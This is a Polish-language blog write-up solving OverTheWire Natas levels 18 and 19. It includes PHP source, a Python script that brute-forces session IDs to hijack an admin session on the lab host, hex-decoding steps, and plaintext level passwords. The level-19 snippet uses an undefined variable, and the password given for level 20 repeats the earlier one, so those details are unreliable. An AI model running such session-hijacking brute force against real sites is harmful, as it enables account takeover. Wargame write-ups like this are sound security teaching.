OverTheWire - Solucje Natas 18 i 19
Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapu 17 można znaleźć tutaj. Etapy 18 i 19 związane będzą z pojęciem sesji, a zatem również ciasteczek. Przed przystąpieniem do rozwiązania upewnij się, że posiadasz rozszerzenie pozwalające na modyfikacje ciastek w swojej przeglądarce.
Poziom 18
Analiza
Po zalogowaniu na poziom 18 spoglądamy na kod źródłowy. Poniżej został on pozbawiony mylących komentarzy.
<?
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin()
{
if ($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
function isValidID($id)
{
return is_numeric($id);
}
function createID($user)
{
global $maxid;
return rand(1, $maxid);
}
function debug($msg)
{
if (array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
function my_session_start()
{
if (array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if (!session_start()) {
debug("Session start failed");
return false
img: overthewire.png; } else { debug(“Session start ok”); if (!array_key_exists(“admin”, $_SESSION)) { debug(“Session was old: admin flag set”); $_SESSION[“admin”] = 0; // backwards compatible, secure } return true; } } return false img: overthewire.png; }
function print_credentials()
{
if ($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
$showform = true;
if (my_session_start()) {
print_credentials();
$showform = false
img: overthewire.png; } else { if (array_key_exists(“username”, $_REQUEST) && array_key_exists(“password”, $_REQUEST)) { session_id(createID($_REQUEST[“username”])); session_start(); $_SESSION[“admin”] = isValidAdminLogin(); debug(“New session started”); $showform = false img: overthewire.png; print_credentials(); } }
if ($showform) {
?>
// Formularz
<?
}
?>
Przeanalizujmy kod w kolejności wykonywania, zatem od lini $showform = true;
. Zmienna ta odpowiada oczywiście za wyświetlenie formularza i może zostać zmieniona w dwóch przypadkach.
-
Pierwszy przypadek, to sytuacja, w której odwiedzający posiada aktywną sesję. Powoduje to wywołanie funkcji
print_credentials()
. Dla odpowiednich danych sesji wyświetla ona login i hasło do następnego poziomu. -
Drugi przypadek ma miejsce kiedy odwiedzający podejmuje próbę logowania. Jeśli podano zarówno login jak i hasło tworzona jest sesja i wylosowanym identyfikatorze. Identyfikator jest liczbą z przedziału [1, 640].
Znając zasadę działania skryptu należy przemyśleć wektor ataku. Wiemy, że każda nowa sesja tworzona za pomocą skryptu ma pole admin ustawione na false
img: overthewire.png ze względu na linię $_SESSION["admin"] = isValidAdminLogin();
. Wnioskujemy zatem, że nie ma możliwości zmanipulować danych logowania tak, aby ustawić pole.
Tym razem zastosujemy inną metodę ataku zwaną przechwytywaniem sesji. Zrobimy to w założeniu, że któraś z sesji w systemie jest sesją administratora.
Rozwiązanie
Wiedząc, że pula identyfikatorów jest bardzo mała, a identyfikator sesji jest przechowywany w ciastku możemy przygotować skrypt, który zautomatyzuje atak. Proponuję następujący kod:
#!/usr/bin/python
import requests
import sys
url = 'http://natas18.natas.labs.overthewire.org/index.php?debug'
passwd = ""
auth = ("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP")
if requests.get(url, auth=auth).status_code != 200:
print "Server unreachable, exiting"
sys.exit()
else:
print "Server reached, starting brute force session hijacking"
for i in range(641):
cookie = {"PHPSESSID" : str(i)}
r = requests.get(url, cookies=cookie, auth=auth)
if i%10 == 0:
print "Testing: "+str(i)
if r.content.find("You are logged in as a regular user") == -1:
print "Found, ID: "+str(i)
break
Struktura skryptu jest nam znana z poprzednich rozwiązań. Pętlę stanowiącą najważniejszy element ataku wykonujemy zgodnie z ilością możliwych identyfikatorów sesji. Każde wykonanie pętli to zapytanie do serwera z innym ciastkiem PHPSESSID
. Jeśli w odpowiedzi nie znajdziemy tekstu "You are logged in as a regular user"
skrypt zakończy działanie zwracając identyfikator sesji administratora.
Wynik działania skryptu:
Server reached, starting brute force session hijacking
Testing: 0
Testing: 10
Testing: 20
Testing: 30
Testing: 40
Found, ID: 46
Znając identyfikator wystarczy podmienić ciastko PHPSESSID
na odnalezioną wartość. Po odświeżeniu strony uzyskujemy hasło do kolejnego etapu: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
.
Poziom 19
Analiza
Tym razem nie dostajemy kodu źródłowego. Posiadamy jedynie informację, że kod niewiele różni się od tego z poziomu 18. Różnica tkwi w sposobie generowania identyfikatora, który tym razem ma być tworzony niesekwencyjnie. Naszym zadaniem jest dokonanie analizy identyfikatora sesji, rozwiązanie zadania będzie bardzo analogiczne do tego w zadaniu 18.
Zalogujmy się używając loginu oraz hasła admin. Login admin jest dobrym pomysłem ponieważ taki sam login zada użytkownik, którego sesję chcemy przejąć. Spójrzmy na przydzielone nam PHPSESID:
3234322d61646d696e
Jedyne wnioski, a w zasadzie podejrzenia jakie możemy wysnuć to takie, że dane stanowią ciąg liczb zapisanych w systemie szesnastkowym. Zweryfikujemy to poprzez usunięcie ciastka i kilkukrotne powtórzenie logowania z takimi samymi danymi logowania. Powstała tak lista identyfikatorów będzie wyglądała podobnie do poniższej:
3234322d61646d696e
3134322d61646d696e
3338342d61646d696e
3630382d61646d696e
Badanie pozwala wywnioskować, że nasz identyfikator zbudowany jest z dwóch elementów. Zacznijmy analizę od tego, który się nie zmienia: 2d61646d696e
. Zauważamy, że ciąg zawsze ma parzystą długość i można go odczytać jako liczby zapisane szesnastkowo. Proponuję zatem podejrzeć jego znaczenie w kodowaniu ASCII. W tym celu wykorzystamy powłokę linuxa:
$ echo -e '\x2d\x61\x64\x6d\x69\x6e'
-admin
Usunięcie sesji i zalogowanie z loginem admin a hasłem dowolnie innym daje nam wniosek dotyczący budowy identyfikatora. Składa się on ze zmiennego członu a następnie myślnika oraz loginu.
Rozpatrzmy zatem zmienną część identyfikatora. Przekodujmy części początkowe wszystkich czterech próbek:
$ echo -e '\x32\x34\x32\n\x31\x34\x32\n\x33\x38\x34\n\x36\x30\x38'
242
142
384
608
Możemy podejrzewać, że schemat jest następujący:
liczba_losowa-login
W poprzednim zadaniu pula liczb losowych stanowiła zbiór [1-641] zatem i tym razem podejrzewamy podobny zbiór.
Rozwiązanie
Wystarczy jedynie lekko zmodyfikować powyższy skrypt tak, aby tworzył identyfikatory zgodnie z powyższym schematem. Kod z zadania 18 należy zmodyfikować następująco:
...
for i in range(641):
cookie = {"PHPSESSID" : (str(sessid)+'-admin').encode('hex')}
r = requests.get(url, cookies=cookie, auth=auth)
...
W wyniku działania tego skryptu otrzymamy hasło do poziomu 20:
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs